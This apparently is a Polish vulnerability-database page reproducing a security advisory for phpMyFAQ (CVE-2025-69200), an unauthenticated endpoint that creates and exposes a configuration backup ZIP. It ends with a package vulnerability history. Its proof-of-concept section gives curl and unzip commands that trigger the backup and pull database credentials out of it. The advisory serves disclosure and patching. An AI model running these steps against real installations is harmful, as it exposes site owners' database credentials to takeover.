Wysoka

phpMyFAQ has unauthenticated config backup download via /api/setup/backup

  • Ujawniono: 30.12.2025
  • Aktualizacja: 11.10.2026 10:22

Summary

An unauthenticated remote attacker can trigger generation of a configuration backup ZIP via POST /api/setup/backup and then download the generated ZIP from a web-accessible location. The ZIP contains sensitive configuration files (e.g., database.php with database credentials), leading to high-impact information disclosure and potential follow-on compromise.

Details

The endpoint /api/setup/backup is reachable via default rewrite rules and does not enforce authentication/authorization or API token verification. When called with any non-empty body (used as an “installed version” string), the server creates a ZIP archive inside the configuration directory and returns a direct URL to the generated ZIP file.

Relevant code paths:

  • Rewrite rule exposing the endpoint:
    • phpmyfaq/.htaccess: RewriteRule ^api/setup/(check|backup|update-database) api/index.php [L,QSA]
  • Controller implementation:
    • phpmyfaq/src/phpMyFAQ/Controller/Api/SetupController.php → backup()
      • No call to hasValidToken(), userIsAuthenticated(), or any permission check
  • Backup creation:
    • phpmyfaq/src/phpMyFAQ/Setup/Update.php → createConfigBackup()
      • Writes the ZIP into the config directory and returns a public URL under content/core/config/

PoC

Replace BASE_URL with your instance URL.

  1. Trigger config backup generation without authentication:
bash
BASE_URL="http://localhost"
curl -i -X POST "${BASE_URL}/api/setup/backup" \
  -H "Content-Type: text/plain" \
  --data "4.1.0-RC"

Expected result: 200 OK with JSON containing backupFile.

  1. Copy the backupFile URL from the JSON response and download it (still without authentication):
bash
# Example (replace with the exact URL returned in step 1)
curl -i "http://localhost/content/core/config/phpmyfaq-config-backup.YYYY-MM-DD.zip" -o phpmyfaq-config-backup.zip
  1. Verify sensitive content exists in the ZIP:
bash
unzip -l phpmyfaq-config-backup.zip
unzip -p phpmyfaq-config-backup.zip database.php

Observed: database.php is included and contains DB host/user/password.

Impact

  • Vulnerability class: Missing authentication/authorization for a sensitive function + sensitive information exposure.
  • Who is impacted: Any internet-exposed phpMyFAQ installation where the default .htaccess rewrite rules are active and the endpoint is reachable.
  • Security impact: Disclosure of configuration secrets (DB credentials, integration config, etc.), enabling follow-on attacks such as database takeover and data exfiltration.

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Paczka Composer thorsten/phpmyfaq < 4.0.16, >= 4.1.0-alpha, <= 4.1.0-beta.2 4.0.16

Odnośniki

Ocena CVSS 7.5/10
Wektor CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Słabość (CWE)
CWE-202
Platforma
Composer
Paczka
thorsten/phpmyfaq
Ujawniono
30.12.2025
Aktualizacja
11.10.2026 10:22

Źródła i licencje

OSV / GitHub Advisory Database - GHSA-9cg9-4h4f-j6fg - CC BY 4.0

Historia podatności: thorsten/phpmyfaq

Wszystkie opisane podatności tej paczki (Paczka Composer), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkie (112) w archiwum
Wszystkich wpisów
112
Pierwsza → ostatnia
05.2022 09.2026
Bez poprawki
2
Wykorzystywana w atakach
0

Rozkład istotności

  • Krytyczna 8
  • Wysoka 36
  • Średnia 67
  • Niska 1

Ujawnienia w latach

  1. 2022: 8
  2. 2023: 62
  3. 2024: 2
  4. 2025: 6
  5. 2026: 34
Istotność:
  1. Wysoka · 8.1 CVE-2026-56737 >= 3.2.0, < 4.1.6 4.1.6
  2. Wysoka · 7.5 CVE-2026-35672 < 4.1.3 4.1.3
  3. Wysoka · 8.8 CVE-2026-35671 < 4.1.3 4.1.3
  4. Wysoka · 7.6 CVE-2026-46367 >= 4.1.1, < 4.1.2 4.1.2
  5. phpMyFAQ has unauthenticated config backup download via /api/setup/backup ten wpis
    Wysoka · 7.5 CVE-2025-69200 < 4.0.16, >= 4.1.0-alpha, <= 4.1.0-beta.2 4.0.16
  6. Wysoka · 8.1 CVE-2025-59943 >= 4.0.7, < 4.0.13 4.0.13
  7. Wysoka · 7.6 CVE-2023-5865 < 3.2.2 3.2.2
  8. Wysoka · 7.4 CVE-2023-5864 < 3.2.1 3.2.1
  9. Wysoka · 8.3 CVE-2023-5319 < 3.1.18 3.1.18
  10. Krytyczna · 9.0 CVE-2023-5320 < 3.1.18 3.1.18
  11. Krytyczna · 9.1 CVE-2023-5316 < 3.1.18 3.1.18
  12. Wysoka · 8.8 CVE-2023-4007 < 3.1.16 3.1.16
  13. Wysoka · 8.2 CVE-2023-2550 < 3.1.13 3.1.13
  14. Wysoka · 8.3 CVE-2023-1887 < 3.1.12 3.1.12
  15. Wysoka · 7.3 CVE-2023-1886 < 3.1.12 3.1.12
  16. Krytyczna · 9.8 CVE-2023-0788 < 3.1.11 3.1.11
  17. Krytyczna · 9.8 CVE-2023-0789 < 3.1.11 3.1.11
  18. Wysoka · 8.8 CVE-2023-0790 < 3.1.11 3.1.11
  19. Wysoka · 8.8 CVE-2023-0793 < 3.1.11 3.1.11
  20. Krytyczna · 9.8 CVE-2023-0311 < 3.1.10 3.1.10
  21. Wysoka · 7.5 CVE-2022-4409 < 3.1.9 3.1.9
  22. Krytyczna · 9.8 CVE-2022-3754 < 3.1.8 3.1.8
  23. Wysoka · 8.4 CVE-2022-3608 < 3.2.0-alpha 3.2.0-alpha
  24. Wysoka · 8.8 CVE-2018-16650 < 2.9.11 2.9.11

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.